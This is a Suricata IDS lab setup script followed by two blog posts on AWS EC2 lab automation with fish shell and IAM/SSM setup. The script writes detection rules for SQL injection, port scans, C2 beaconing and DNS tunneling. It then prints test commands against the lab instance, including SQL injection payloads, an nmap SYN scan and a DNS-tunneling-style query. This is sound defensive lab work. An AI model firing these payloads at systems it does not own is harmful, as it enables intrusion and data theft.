[[ -n "$IFACE" ]] || die "Could not detect network interface"

# Get the subnet in CIDR notation from the interface address
# e.g. inet 172.31.29.30/20 → calculate network address 172.31.16.0/20
IFACE_CIDR=$(ip addr show "$IFACE" | grep "inet " | awk '{print $2}' | head -1)
[[ -n "$IFACE_CIDR" ]] || die "Could not detect IP for $IFACE"

SUBNET=$(python3 -c "
import ipaddress
net = ipaddress.IPv4Interface('$IFACE_CIDR').network
print(str(net))
")
[[ -n "$SUBNET" ]] || die "Could not calculate subnet from $IFACE_CIDR"

log "Interface: $IFACE"
log "Subnet (HOME_NET): $SUBNET"

# ── Install dependencies ──────────────────────────────────────
log "Updating package lists..."
apt-get update -y -q

log "Installing prerequisites..."
apt-get install -y -q \
    curl \
    wget \
    gnupg \
    lsb-release \
    nginx \
    nmap \
    dnsutils \
    tcpdump \
    python3

# ── Install Suricata from Debian backports ────────────────────
log "Installing Suricata..."
# Suricata is available directly in Debian trixie (13) repos
apt-get install -y -q suricata || die "Suricata install failed — check apt output above"

# ── Create custom rules directory ────────────────────────────
log "Creating rules directory..."
mkdir -p /etc/suricata/rules

# ── Write custom.rules ───────────────────────────────────────
log "Writing custom.rules..."
cat > /etc/suricata/rules/custom.rules << 'RULES'
# ============================================================
# Suricata Custom Rules — Week 9 Lab
# Pass rules must come FIRST — Suricata processes top to bottom
# ============================================================

# ── Pass rules (whitelist legitimate AWS traffic) ────────────
pass http $HOME_NET any -> 169.254.169.254 any (msg:"IMDS traffic - whitelist"; sid:9000010; rev:1;)
pass tcp $HOME_NET any -> any 443 (msg:"AWS HTTPS services whitelist"; sid:9000011; rev:1;)

# ── Alert rules ──────────────────────────────────────────────
alert tcp any any -> $HOME_NET any (msg:"SQL Injection UNION SELECT Attempt"; content:"UNION"; nocase; content:"SELECT"; nocase; sid:9000001; rev:4;)
alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection Comment Bypass Attempt"; content:"OR"; nocase; content:"="; nocase; sid:9000002; rev:6;)
alert tcp any any -> $HOME_NET any (msg:"Possible Port Scan Detected"; flags:S; threshold:type threshold,track by_src,count 5,seconds 10; sid:9000003; rev:3;)
# alert tcp $HOME_NET any -> any any (msg:"Possible C2 Beaconing Detected"; flow:to_server,established; threshold:type both,track by_src,count 10,seconds 60; sid:9000004; rev:2;)
alert udp any any -> any 53 (msg:"Possible DNS Tunneling - Large Query"; dsize:>200; sid:9000005; rev:2;)
RULES

log "custom.rules written (C2 rule commented out — re-enable after whitelisting all AWS endpoints)"

# ── Configure suricata.yaml ───────────────────────────────────
log "Configuring suricata.yaml..."

# Set HOME_NET to the detected subnet
sed -i "s|HOME_NET: \".*\"|HOME_NET: \"[$SUBNET]\"|" /etc/suricata/suricata.yaml

# Set af-packet to monitor both enX0/eth0 and lo
python3 - << PYEOF
import re

with open('/etc/suricata/suricata.yaml', 'r') as f:
    content = f.read()

# Replace af-packet interface section
iface = "$IFACE"
new_afpacket = f"""af-packet:
  - interface: {iface}
  - interface: lo
"""

content = re.sub(
    r'af-packet:.*?(?=\n\S|\Z)',
    new_afpacket,
    content,
    flags=re.DOTALL
)

with open('/etc/suricata/suricata.yaml', 'w') as f:
    f.write(content)

print("af-packet configured")
PYEOF

# Set rule-files to only load custom.rules
python3 - << PYEOF
import re

with open('/etc/suricata/suricata.yaml', 'r') as f:
    content = f.read()

content = re.sub(
    r'rule-files:.*?(?=\n\S|\Z)',
    'rule-files:\n  - /etc/suricata/rules/custom.rules\n',
    content,
    flags=re.DOTALL
)

with open('/etc/suricata/suricata.yaml', 'w') as f:
    f.write(content)

print("rule-files configured")
PYEOF

# ── Enable and start nginx ────────────────────────────────────
log "Starting nginx (HTTP target for SQLi tests)..."
systemctl enable nginx -q
systemctl start nginx

# ── Validate Suricata config ──────────────────────────────────
log "Validating Suricata configuration..."
suricata -T -c /etc/suricata/suricata.yaml -v 2>&1 | grep -E "Configuration|Error|Warning|rules" || true

# ── Start Suricata ────────────────────────────────────────────
log "Starting Suricata..."
systemctl enable suricata -q
systemctl restart suricata
sleep 5

# ── Verify ───────────────────────────────────────────────────
log "Verifying Suricata is running..."
systemctl is-active suricata || die "Suricata failed to start — check: journalctl -u suricata"

log "Checking rules loaded..."
sleep 3
SIGS=$(grep "signatures processed" /var/log/suricata/suricata.log | tail -1)
echo "  $SIGS"

# ── Print instance IP ─────────────────────────────────────────
INSTANCE_IP=$(ip addr show "$IFACE" | grep "inet " | awk '{print $2}' | cut -d/ -f1)

echo ""
echo -e "${GREEN}============================================================${NC}"
echo -e "${GREEN} Suricata Lab Ready${NC}"
echo -e "${GREEN}============================================================${NC}"
echo ""
echo "  Interface:    $IFACE"
echo "  HOME_NET:     $SUBNET"
echo "  Instance IP:  $INSTANCE_IP"
echo "  fast.log:     /var/log/suricata/fast.log"
echo "  custom.rules: /etc/suricata/rules/custom.rules"
echo ""
echo "  Test commands:"
echo ""
echo "  Rule 1 (SQLi UNION):"
echo "  curl -v -G \"http://$INSTANCE_IP/\" --data-urlencode \"id=1' UNION SELECT username,password FROM users--\""
echo ""
echo "  Rule 2 (SQLi OR):"
echo "  curl -v \"http://$INSTANCE_IP/?id=1%27%20OR%201%3D1--\""
echo ""
echo "  Rule 3 (Port scan):"
echo "  sudo nmap -sS --max-rate 10 $INSTANCE_IP"
echo ""
echo "  Rule 5 (DNS tunneling):"
echo "  dig \$(python3 -c \"print('A'*60 + '.' + 'B'*60 + '.' + 'C'*60)\").google.com @8.8.8.8"
echo ""
echo "  Watch alerts:"
echo "  sudo tail -f /var/log/suricata/fast.log"
echo ""

Series: Security Engineering Interview Prep | Week 9 Part 2 | March 2026
GitHub: fosres/SecEng-Exercises

Week 9: Fish Shell Functions for Managing AWS EC2 Instances -- Save Time and Billing

fosres — Sun, 15 Mar 2026 20:23:48 +0000

Prerequisites: This post assumes you have a working AWS lab with IAM Identity Center and SSM Session Manager configured. If you have not done that yet, start here first:

👉 Secure AWS Lab Setup for Security Engineers: IAM Identity Center + SSM + Zero Open Ports

If you find this useful, I'd really appreciate a ⭐ on my open source secure coding exercise repo — it helps a lot:

🌟 Star the SecEng-Exercises Repo on GitHub

Also — why do you read security engineering blog posts? One click helps me write better content:

👉 Take the poll (takes 10 seconds)

Introduction

Running a personal AWS security lab involves the same set of CLI operations over and over: launch an instance, connect to it, do some work, save your progress, and shut it down to avoid unnecessary billing. Without automation, each of these steps requires remembering long aws ec2 commands with multiple flags.

This post provides a complete set of fish shell functions that reduce all of that to single commands. They are designed specifically for the AWS lab exercises in this blog series and give you three practical benefits:

Save progress — lab-snapshot creates a full AMI snapshot of your running instance so you can terminate it and restore exactly where you left off next session. No reinstalling tools from scratch.

Save time — lab-create and lab-restore handle the full instance launch sequence automatically: create, wait for running state, wait for SSM Agent, and tell you when it is ready. One command instead of five.

Save billing — lab-terminate permanently deletes the instance so you pay nothing between sessions. Combined with snapshots, you get zero ongoing compute cost with full state preservation.

To put the cost difference in perspective:

State	Monthly Cost
EC2 running 24/7 (t2.micro)	~$8.35
EC2 stopped (EBS volume persists)	~$0.64
AMI snapshot (used data only)	~$0.10–0.15
EC2 terminated, no snapshot	$0.00

A snapshot of a Debian 13 instance with Suricata installed uses roughly 2-3GB of actual data — AWS only charges for used data, not the full volume size. At $0.05/GB/month that comes to about $0.10-0.15/month. Compared to leaving the instance running at $8.35/month, snapshots are roughly 60x cheaper while preserving your full environment between sessions.

All functions are available to download from GitHub:

👉 github.com/fosres/SecEng-Exercises/tree/main/aws/functions

Setup

Install Fish Shell

# Debian / Ubuntu
sudo apt install fish -y

# Verify
fish --version

Create the Functions Directory

mkdir -p ~/.config/fish/functions

Fish loads functions automatically from this directory. Each function lives in its own .fish file named after the function. No source command needed — drop the file in and it is immediately available.

Set the Instance ID Universal Variable

All functions that operate on a running instance use $INSTANCE_ID — a fish universal variable that persists across all sessions permanently:

set -U INSTANCE_ID "i-your_instance_id_here"

set -U means universal — it survives terminal restarts, new tabs, and reboots. lab-create and lab-restore update it automatically when launching a new instance so you rarely need to set it manually.

The Functions

lab-login — Authenticate via IAM Identity Center

Run this at the start of every session. Opens a browser where you tap your YubiKey to issue 8-hour temporary credentials.

function lab-login
    aws sso login --profile lab-sso
end

$ lab-login
# Browser opens → tap YubiKey → "Your credentials have been shared successfully"

Token expires after 8 hours. If any function returns Token has expired and refresh failed — run lab-login again.

lab-status — Check Instance State

function lab-status
    aws ec2 describe-instances --instance-ids $INSTANCE_ID \
        --profile lab-sso \
        --query "Reservations[0].Instances[0].State.Name" \
        --output text
end

Returns: running, stopped, terminated, or None.

None means the instance was terminated. Run lab-create or lab-restore to launch a new one.

lab-start — Start a Stopped Instance

function lab-start
    aws ec2 start-instances --instance-ids $INSTANCE_ID --profile lab-sso
    echo "Starting... wait 60 seconds"
end

Use this only if you chose lab-stop to pause billing rather than lab-terminate. A stopped instance still incurs EBS storage charges (~$0.08/GB/month).

lab-stop — Stop a Running Instance

function lab-stop
    aws ec2 stop-instances --instance-ids $INSTANCE_ID --profile lab-sso
    echo "Stopping..."
end

Pauses compute billing. The EBS volume persists with all data intact. Resume with lab-start.

lab-connect — Open a Shell on the Instance

function lab-connect
    aws ssm start-session --target $INSTANCE_ID --profile lab-sso
end

Opens a terminal session via SSM Session Manager — no SSH, no open ports, no key pair file required.

$ lab-connect
Starting session with SessionId: your_username_here-...
$ whoami
ssm-user

lab-terminate — Permanently Delete the Instance

Before running lab-terminate, always verify it is pointing at the right instance:

echo $INSTANCE_ID   # prints the instance ID it will terminate
lab-status          # confirms the instance is running

Both should agree before proceeding.

function lab-terminate
    echo "WARNING: This will permanently delete the instance and all data on it."
    echo "Instance: $INSTANCE_ID"
    read --prompt-str "Type YES to confirm: " confirm
    if test "$confirm" = "YES"
        aws ec2 terminate-instances \
            --instance-ids $INSTANCE_ID --profile lab-sso
        echo "Instance terminated. Use lab-create to launch a fresh one."
    else
        echo "Cancelled."
    end
end

⚠️ Fish syntax bug: Use --prompt-str not --prompt for the read command. Using --prompt causes a syntax error that silently skips the confirmation and immediately terminates the instance.

lab-create — Launch a Fresh Instance from a Launch Template

function lab-create
    echo "Launching new suricata-ids-lab instance..."
    set new_id (aws ec2 run-instances \
        --launch-template LaunchTemplateName=suricata-lab-template \
        --tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value=suricata-ids-lab}]" \
        --profile lab-sso \
        --query "Instances[0].InstanceId" \
        --output text)

    if test -z "$new_id"
        echo "ERROR: Failed to launch instance."
        return 1
    end

    echo "Instance launched: $new_id"
    echo "Updating INSTANCE_ID..."
    set -U INSTANCE_ID $new_id

    echo "Waiting for instance to reach running state..."
    aws ec2 wait instance-running \
        --instance-ids $new_id \
        --profile lab-sso

    echo "Instance is running."
    echo "Waiting 3 minutes for SSM Agent to initialize..."
    sleep 180

    echo "Ready. Run lab-connect to start your session."
end

Launches a clean Debian 13 instance from the Launch Template. Automatically updates $INSTANCE_ID. The 3-minute wait allows the User Data script to install the SSM Agent on first boot.

Snapshot Functions

These functions let you save and restore instance state so you never lose progress between sessions.

lab-snapshot-list — List All Saved Snapshots

function lab-snapshot-list
    echo "Your saved AMIs:"
    aws ec2 describe-images \
        --owners self \
        --query "Images[*].[ImageId,Name,CreationDate]" \
        --output table \
        --profile lab-sso
end

$ lab-snapshot-list

Your saved AMIs:
+------------------------+---------------------------+----------------------+
| ami-0xxxxxxxxxxxxxxxxx | suricata_setup-2026-03-15 | 2026-03-15T12:00:00Z |
+------------------------+---------------------------+----------------------+

lab-snapshot — Save the Current Instance State

function lab-snapshot
    echo "Your running instances:"
    aws ec2 describe-instances \
        --filters "Name=instance-state-name,Values=running" \
        --query "Reservations[*].Instances[*].[InstanceId,State.Name]" \
        --output table \
        --profile lab-sso

    read --prompt-str "Enter Instance ID to snapshot (i-...): " instance_id

    if test -z "$instance_id"
        echo "ERROR: No Instance ID entered. Cancelled."
        return 1
    end

    read --prompt-str "Enter a name for this snapshot: " snapshot_name

    if test -z "$snapshot_name"
        echo "ERROR: No snapshot name entered. Cancelled."
        return 1
    end

    # Auto-detect the root volume device name from the running instance
    set device_name (aws ec2 describe-instances \
        --instance-ids $instance_id \
        --query "Reservations[0].Instances[0].RootDeviceName" \
        --output text \
        --profile lab-sso)

    set today (date +%Y-%m-%d)
    echo "Creating encrypted snapshot of $instance_id..."

    set ami_id (aws ec2 create-image \
        --instance-id $instance_id \
        --name "$snapshot_name-$today" \
        --description "Lab snapshot: $snapshot_name" \
        --no-reboot \
        --block-device-mappings "[{\"DeviceName\":\"$device_name\",\"Ebs\":{\"Encrypted\":true,\"DeleteOnTermination\":true}}]" \
        --profile lab-sso \
        --query "ImageId" \
        --output text)

    if test -z "$ami_id"
        echo "ERROR: Failed to create snapshot."
        return 1
    end

    echo "Snapshot created: $ami_id (encrypted)"
    echo "Waiting for snapshot to become available..."
    aws ec2 wait image-available \
        --image-ids $ami_id \
        --profile lab-sso

    echo "Snapshot is ready: $ami_id"
    echo "Use this ID with lab-restore to launch from this state."
end

--no-reboot — takes the snapshot while the instance keeps running. You stay connected the whole time.

Encryption — snapshots are encrypted at rest using the AWS-managed EBS key (aws/ebs). No password, no key to manage — AWS handles decryption transparently when the instance boots from the snapshot. The device name is auto-detected from the running instance so the encryption flag always targets the correct volume.

⏳ Expect to wait 3-5 minutes for the snapshot to complete. AWS is copying the entire EBS volume to S3. A heavily loaded instance may take up to 10-15 minutes. Do not interrupt it.

lab-restore — Launch an Instance from a Snapshot

function lab-restore
    echo "Your saved AMIs:"
    aws ec2 describe-images \
        --owners self \
        --query "Images[*].[ImageId,Name,CreationDate]" \
        --output table \
        --profile lab-sso

    read --prompt-str "Enter AMI ID to restore from (ami-...): " ami_id

    if test -z "$ami_id"
        echo "ERROR: No AMI ID entered. Cancelled."
        return 1
    end

    set sg_id (aws ec2 describe-security-groups \
        --filters "Name=group-name,Values=suricata-lab-sg" \
        --query "SecurityGroups[0].GroupId" \
        --output text \
        --profile lab-sso)

    if test -z "$sg_id"
        echo "ERROR: Could not find security group suricata-lab-sg."
        return 1
    end

    echo "Launching from snapshot $ami_id..."
    set new_id (aws ec2 run-instances \
        --image-id $ami_id \
        --instance-type t2.micro \
        --iam-instance-profile Name=suricata-lab-ssm-role \
        --security-group-ids $sg_id \
        --tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value=suricata-ids-lab}]" \
        --profile lab-sso \
        --query "Instances[0].InstanceId" \
        --output text)

    if test -z "$new_id"
        echo "ERROR: Failed to launch instance. Check AMI ID and try again."
        return 1
    end

    echo "Instance launched: $new_id"
    echo "Updating INSTANCE_ID..."
    set -U INSTANCE_ID $new_id

    echo "Waiting for instance to reach running state..."
    aws ec2 wait instance-running \
        --instance-ids $new_id \
        --profile lab-sso

    echo "Instance is running."
    echo "Waiting 60 seconds for SSM Agent to initialize..."
    sleep 60

    echo "Ready. Run lab-connect to start your session."
end

Lists your saved AMIs first so you never need to look up the AMI ID separately. The security group ID is resolved automatically by name.

sleep 60 instead of sleep 180 — the SSM Agent is already baked into the snapshot so it initializes much faster than a fresh install.

lab-snapshot-delete — Delete Old Snapshots

Over time you will accumulate outdated snapshots. Each one costs ~$0.05/GB/month so it is good practice to delete ones you no longer need. You can delete multiple snapshots in one go — type each AMI ID on its own line and press Ctrl+D when done.

function lab-snapshot-delete
    echo "Your saved AMIs:"
    aws ec2 describe-images \
        --owners self \
        --query "Images[*].[ImageId,Name,CreationDate]" \
        --output table \
        --profile lab-sso

    echo ""
    echo "Enter AMI IDs to delete, one per line."
    echo "Press Ctrl+D when done."
    echo ""

    set ami_ids

    while read --prompt-str "" ami_id
        set --append ami_ids $ami_id
    end

    if test (count $ami_ids) -eq 0
        echo "No AMI IDs entered. Cancelled."
        return 1
    end

    echo ""
    echo "The following snapshots will be permanently deleted:"
    for ami_id in $ami_ids
        echo "  - $ami_id"
    end
    echo ""

    read --prompt-str "Type YES to confirm deletion of all "(count $ami_ids)" snapshot(s): " confirm

    if test "$confirm" != "YES"
        echo "Cancelled."
        return 0
    end

    for ami_id in $ami_ids
        echo ""
        echo "Processing $ami_id..."

        set snapshot_id (aws ec2 describe-images \
            --image-ids $ami_id \
            --query "Images[0].BlockDeviceMappings[0].Ebs.SnapshotId" \
            --output text \
            --profile lab-sso)

        if test -z "$snapshot_id" -o "$snapshot_id" = "None"
            echo "WARNING: Could not find snapshot for $ami_id — skipping."
            continue
        end

        aws ec2 deregister-image \
            --image-id $ami_id \
            --profile lab-sso
        echo "AMI deregistered: $ami_id"

        aws ec2 delete-snapshot \
            --snapshot-id $snapshot_id \
            --profile lab-sso
        echo "Snapshot deleted: $snapshot_id"
    end

    echo ""
    echo "Done. Storage charges for deleted snapshots will stop within the hour."
end

The flow when deleting multiple snapshots at once:

$ lab-snapshot-delete

Your saved AMIs:
+------------------------+---------------------------+----------------------+
| ami-0xxxxxxxxxxxxxxxxx | suricata_setup-2026-03-15 | 2026-03-15T12:00:00Z |
| ami-0yyyyyyyyyyyyyyyyy | suricata_rules-2026-03-20 | 2026-03-20T10:14:00Z |
| ami-0zzzzzzzzzzzzzzzzz | suricata_full-2026-03-25  | 2026-03-25T08:30:00Z |
+------------------------+---------------------------+----------------------+

Enter AMI IDs to delete, one per line.
Press Ctrl+D when done.

ami-0xxxxxxxxxxxxxxxxx
ami-0yyyyyyyyyyyyyyyyy
ami-0zzzzzzzzzzzzzzzzz
^D

The following snapshots will be permanently deleted:
  - ami-0xxxxxxxxxxxxxxxxx
  - ami-0yyyyyyyyyyyyyyyyy
  - ami-0zzzzzzzzzzzzzzzzz

Type YES to confirm deletion of all 3 snapshot(s): YES

Processing ami-0xxxxxxxxxxxxxxxxx...
AMI deregistered: ami-0xxxxxxxxxxxxxxxxx
Snapshot deleted: snap-0xxxxxxxxxxxxxxxxx

Processing ami-0yyyyyyyyyyyyyyyyy...
AMI deregistered: ami-0yyyyyyyyyyyyyyyyy
Snapshot deleted: snap-0yyyyyyyyyyyyyyyyy

Processing ami-0zzzzzzzzzzzzzzzzz...
AMI deregistered: ami-0zzzzzzzzzzzzzzzzz
Snapshot deleted: snap-0zzzzzzzzzzzzzzzzz

Done. Storage charges for deleted snapshots will stop within the hour.

Two steps are required to fully delete a snapshot — this is an important AWS quirk:

Step 1 — Deregister the AMI (aws ec2 deregister-image) — removes the AMI entry. But the underlying EBS snapshot is still there and still billing you until Step 2.

Step 2 — Delete the EBS snapshot (aws ec2 delete-snapshot) — this is what actually frees the storage and stops charges.

lab-snapshot-delete handles both steps automatically for every ID in the list.

Complete Reference

Function	What it does
`lab-login`	Authenticate via IAM Identity Center (YubiKey tap)
`lab-status`	Check if instance is running, stopped, or terminated
`lab-start`	Start a stopped instance
`lab-stop`	Stop a running instance (EBS persists, small charge)
`lab-connect`	Open a shell via SSM Session Manager
`lab-terminate`	Permanently delete the instance (zero ongoing cost)
`lab-create`	Launch a fresh instance from Launch Template
`lab-snapshot-list`	List all saved AMI snapshots
`lab-snapshot`	Save current instance state to an encrypted AMI snapshot
`lab-restore`	Launch an instance from a saved AMI snapshot
`lab-snapshot-delete`	Delete one or more AMIs and their underlying EBS snapshots (line-separated input, Ctrl+D to finish)

Complete Zero-Cost Session Workflow

lab-login           # tap YubiKey → 8hr credentials
lab-restore         # launch from snapshot → wait → "Ready"
lab-connect         # shell as ssm-user
lab-snapshot        # save progress before ending session
lab-terminate       # zero ongoing cost

The Open Source Project Behind This

These functions are part of an open source repository of LeetCode-style secure coding exercises designed to:

Train developers to write secure code
Prepare security engineers for technical interviews

Every exercise in the repo has 60+ test cases and a companion Dev.to post.

If this post was useful, the best thing you can do is star the repo:

🌟 Star the SecEng-Exercises Repo on GitHub

One More Thing — Quick Poll

Why do you read security engineering blog posts? Your answer helps me write better content:

👉 Take the poll

Takes 10 seconds.

Series: Security Engineering Interview Prep | Week 9 | March 2026
GitHub: fosres/SecEng-Exercises

Week 9: Setup AWS IAM and EC2 for Beginners

fosres — Sun, 15 Mar 2026 18:15:54 +0000

AWS, GCP, and Azure are the three dominant cloud providers in the industry. As a Security Engineer you will encounter at least one of them in virtually every role — whether you are securing infrastructure, reviewing architecture, responding to incidents, or building detection rules. You do not need to master all three. But you do need to go deep on at least one.

This post is about AWS — the most widely deployed of the three and the one most commonly required in Security Engineering job postings. Learning AWS deeply means understanding not just how to launch a virtual machine, but how identity works, how access is controlled, how services communicate securely, and how to build infrastructure that is defensible by design.

This post is written for a complete beginner to AWS. By the end you will know how to do the following entirely from your local computer using the CLI — no browser required after initial setup:

Login to AWS securely using either static credentials or a hardware security key (YubiKey)
Create an EC2 instance (a virtual machine in the cloud) with one command
Connect to that instance without SSH, without open ports, and without a key pair file
Stop the instance to pause billing when not in use
Terminate the instance permanently to pay zero ongoing cost between sessions

Along the way the post covers IAM (Identity and Access Management), IAM Identity Center, SSM Session Manager, security groups, IAM roles, Launch Templates, and fish shell automation — all grounded in real decisions made during a Week 9 Suricata IDS lab setup.

Everything documented here is a real setup that was built step by step, including the failures. If something broke, it is noted and the fix is included.

If you find this useful, I'd really appreciate a ⭐ on my open source secure coding exercise repo — it helps a lot:

Support this project — Star it on GitHub! ⭐

Also — quick question: why do you read security engineering blog posts? One click helps me write better content:

👉 Take the poll (takes 10 seconds)

What This Post Covers

This is the exact setup I built during Week 9 of my Security Engineering curriculum while preparing to run a Suricata IDS lab on AWS EC2. What started as "just spin up an instance" turned into a proper secure access architecture covering:

Why root credentials are dangerous (and what to use instead)
Two CLI auth methods: IAM Access Keys (simple) vs IAM Identity Center (secure)
EC2 instance with zero open inbound ports — no SSH, no bastion host
SSM Session Manager for terminal access through AWS
Fish shell lab functions: lab-login, lab-create, lab-connect, lab-terminate
A Launch Template for repeatable, cost-free instance lifecycle
The iam:PassRole error you will hit with PowerUserAccess — and the exact fix

Curriculum intersections: This covers Week 15 content (EC2, IAM basics) and Week 49 content (IAM Identity Center) — completed early as infrastructure prerequisites for the IDS lab.

Part 1: Why Not Root Credentials

Every AWS account has a root user with unlimited permissions that cannot be restricted by any IAM policy. AWS explicitly states you should never use root for everyday tasks.

Root should only ever be used for:

Billing and payment settings
Account closure
IAM recovery if all other admin access is lost

⚠️ Never run aws configure with root credentials. Never create root access keys. Root should only authenticate via the console with MFA.

On this account root is protected with two YubiKeys registered as FIDO2 devices. That is the last line of defense.

Part 1.5: First — Create an AWS Account

Before anything else you need an AWS account. Go to aws.amazon.com and sign up — it takes about 5 minutes and requires a credit card for identity verification. AWS has a generous free tier that covers most personal lab usage including the t2.micro instance type used throughout this post.

The account you create becomes your root account. Read Part 1 above before using it for anything.

Part 2: Create a Scoped IAM User

Create an IAM user with only the permissions needed for lab work. This limits blast radius if credentials are ever compromised.

Step 1 — Create the User

IAM Console → Users → Create user
→ Username: your_username_here
→ Check: Provide user access to AWS Management Console
→ Select: I want to create an IAM user
→ Custom password: (set a strong password)
→ Uncheck: Users must create new password at next sign-in
→ Next

Step 2 — Attach Permissions

→ Attach policies directly
→ Search and check: AmazonEC2FullAccess
→ Search and check: AmazonSSMFullAccess
→ Next → Create user

Do NOT attach AdministratorAccess. The two policies above give enough permissions to manage EC2 and SSM without touching IAM or billing.

Step 3 — Add MFA for Console Login

AWS supports two MFA methods for IAM users. Choose one:

Option A — Authenticator App (TOTP)
The most common method. Install Google Authenticator, Authy, or 1Password on your phone. AWS shows a QR code — scan it, enter two consecutive 6-digit codes to confirm, done. No hardware required.

IAM → Users → your_username_here
→ Security credentials tab
→ Multi-factor authentication (MFA) → Assign MFA device
→ MFA device type: Authenticator app
→ Scan the QR code with your authenticator app
→ Enter two consecutive 6-digit codes to confirm

Option B — Hardware Security Key (FIDO2/YubiKey)
More secure than TOTP. Requires a physical YubiKey or similar FIDO2 device (~$50). Immune to phishing because the key cryptographically binds to the origin domain — a fake AWS login page cannot steal it.

IAM → Users → your_username_here
→ Security credentials tab
→ Multi-factor authentication (MFA) → Assign MFA device
→ MFA device type: Passkey or security key
→ Insert YubiKey and tap when prompted

This post uses Option B (YubiKey). TOTP is acceptable for a personal lab and requires no extra hardware. YubiKey is the stronger choice and becomes important in Part 11 where it enables hardware-backed MFA directly on CLI calls — something TOTP cannot do.

Note the console sign-in URL shown on the user creation confirmation page:

https://<YOUR_ACCOUNT_ID>.signin.aws.amazon.com/console

This is different from the root login page. Bookmark it.

Part 3: Method 1 — IAM Access Keys (Static Credentials)

The simpler method. Permanent access key stored locally. Never expires unless manually deleted — which is both convenient and dangerous.

Install AWS CLI v2 on Debian 12/13

# Install dependencies
sudo apt update && sudo apt install curl unzip -y

# Download from AWS directly
# Note: never use apt install awscli — the Debian repo does not include v2
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install

# Verify
aws --version
# aws-cli/2.34.9 Python/3.13.11 Linux/6.1.0-43-amd64 exe/x86_64.debian.12

Create the Access Key

IAM → Users → your_username_here
→ Security credentials tab
→ Access keys → Create access key
→ Use case: Command Line Interface (CLI)
→ Check the amber warning confirmation box
→ Next → Create access key
→ DOWNLOAD .csv FILE IMMEDIATELY

⚠️ AWS shows the Secret Access Key exactly once. If you close the page without saving it you must delete the key and create a new one. Always download the .csv before clicking Done.

Configure the CLI

aws configure
# AWS Access Key ID:     AKIA...  (from the .csv)
# AWS Secret Access Key: ...      (from the .csv)  
# Default region name:   us-east-1
# Default output format: json

Verify Identity — What is STS?

aws sts get-caller-identity

STS = Security Token Service. The get-caller-identity command asks AWS "who am I authenticated as right now?" It is the fastest way to verify credentials are working correctly.

{
    "UserId":  "AIDA xxxxxxxxxxxxxxxxxxxx",
    "Account": "YOUR_ACCOUNT_ID",
    "Arn":     "arn:aws:iam::YOUR_ACCOUNT_ID:user/your_username_here"
}

✅ If the ARN shows user/your_username_here (not root) — the access key is working.

Part 4: Create the IAM Role for EC2

The EC2 instance needs its own identity to communicate with AWS Systems Manager. This is separate from your user identity.

IAM Console → Roles → Create role
→ Trusted entity: AWS service → Use case: EC2
→ Next
→ Search: AmazonSSMManagedInstanceCore → Check the box
→ Next
→ Role name: suricata-lab-ssm-role
→ Create role

Key distinction — two separate identities:

YOU (your_username_here)      → authenticated via IAM credentials
                           can start SSM sessions, launch EC2

EC2 INSTANCE             → authenticated via suricata-lab-ssm-role
                           can communicate with SSM
                           can receive your session connection

The role is the instance's identity, not yours. This is why iam:PassRole matters (covered in Part 14).

Part 5: Security Group — Zero Open Ports

EC2 → Security Groups → Create security group
→ Name: suricata-lab-sg
→ Inbound rules: DELETE any default rules → NONE
→ Outbound rules: keep default (all traffic)
→ Create security group

This is the key to the whole architecture. SSM Session Manager works over outbound HTTPS (port 443) to reach AWS endpoints. No inbound ports needed. No port 22. No bastion host. Your VPN IP is completely irrelevant.

Note: EC2 Instance Connect will NOT work with no inbound rules. This is intentional. SSM replaces SSH entirely.

Part 6: Launch EC2 Instance — The User Data Bootstrap

This is where Debian 13 causes a surprise. Several approaches fail before finding the correct solution.

What failed:

EC2 Instance Connect → Debian 13 AMI has no ec2-instance-connect package
CloudShell aws ssm send-command → requires SSM Agent to already be installed
Temporarily opening port 22 → EC2 Instance Connect still fails (no package)

The correct solution: User Data

User Data runs as root on first boot before you ever connect. It installs the SSM Agent automatically.

Launch Configuration

EC2 → Launch Instance

Name:          suricata-ids-lab
AMI:           Debian 13 (Bookworm)
               → Browse AMIs → AWS Marketplace AMIs
               → Search: Debian 13
               → Publisher: Debian (official only — verify this)
Instance type: t2.micro (free tier eligible)
Key pair:      Proceed without a key pair
Security group: Select existing → suricata-lab-sg

Advanced details:
  IAM instance profile: suricata-lab-ssm-role

User Data Script (paste in Advanced details → User data)

#!/bin/bash
apt-get update -y
wget https://s3.amazonaws.com/ec2-downloads-windows/SSMAgent/latest/debian_amd64/amazon-ssm-agent.deb
dpkg -i amazon-ssm-agent.deb
systemctl enable amazon-ssm-agent
systemctl start amazon-ssm-agent

Wait 3-5 minutes after launch before trying to connect. The User Data script needs time to complete on first boot.

Part 7: Install Session Manager Plugin Locally

One-time install on your local machine (not the EC2 instance):

curl "https://s3.amazonaws.com/session-manager-downloads/plugin/latest/ubuntu_64bit/session-manager-plugin.deb" \
  -o "/tmp/session-manager-plugin.deb"

sudo dpkg -i /tmp/session-manager-plugin.deb

# Verify
session-manager-plugin --version

Part 8: Fish Shell Lab Functions

All lab operations wrapped in fish functions using the universal variable INSTANCE_ID. One set -U command updates everything simultaneously.

Set the Instance ID (run once after launch)

# set -U creates a universal variable — persists across all sessions permanently
# No source command, no file editing, no restart needed
set -U INSTANCE_ID "i-your_instance_id_here"

Create the Functions

mkdir -p ~/.config/fish/functions

Fish loads functions automatically from ~/.config/fish/functions/. Each function lives in its own file named after the function. For each snippet below, copy the contents and save it to the filename shown in bold — for example, copy the lab-status function into a file called lab-status.fish inside that directory.

lab-status.fish

function lab-status
    aws ec2 describe-instances --instance-ids $INSTANCE_ID \
        --profile lab-sso \
        --query "Reservations[0].Instances[0].State.Name" \
        --output text
end

lab-start.fish

function lab-start
    aws ec2 start-instances --instance-ids $INSTANCE_ID --profile lab-sso
    echo "Starting... wait 60 seconds"
end

lab-stop.fish

function lab-stop
    aws ec2 stop-instances --instance-ids $INSTANCE_ID --profile lab-sso
    echo "Stopping..."
end

lab-connect.fish

function lab-connect
    aws ssm start-session --target $INSTANCE_ID --profile lab-sso
end

lab-login.fish (SSO only — covered in Part 11)

function lab-login
    aws sso login --profile lab-sso
end

lab-terminate.fish

**NOTE: Once you are done using an EC2 instance for tutorial exercises such as these you should execute `lab-terminate` in your local CLI to destory the EC2 instance. This will minimize Billing!

function lab-terminate
    echo "WARNING: This will permanently delete the instance and all data on it."
    echo "Instance: $INSTANCE_ID"
    read --prompt-str "Type YES to confirm: " confirm
    if test "$confirm" = "YES"
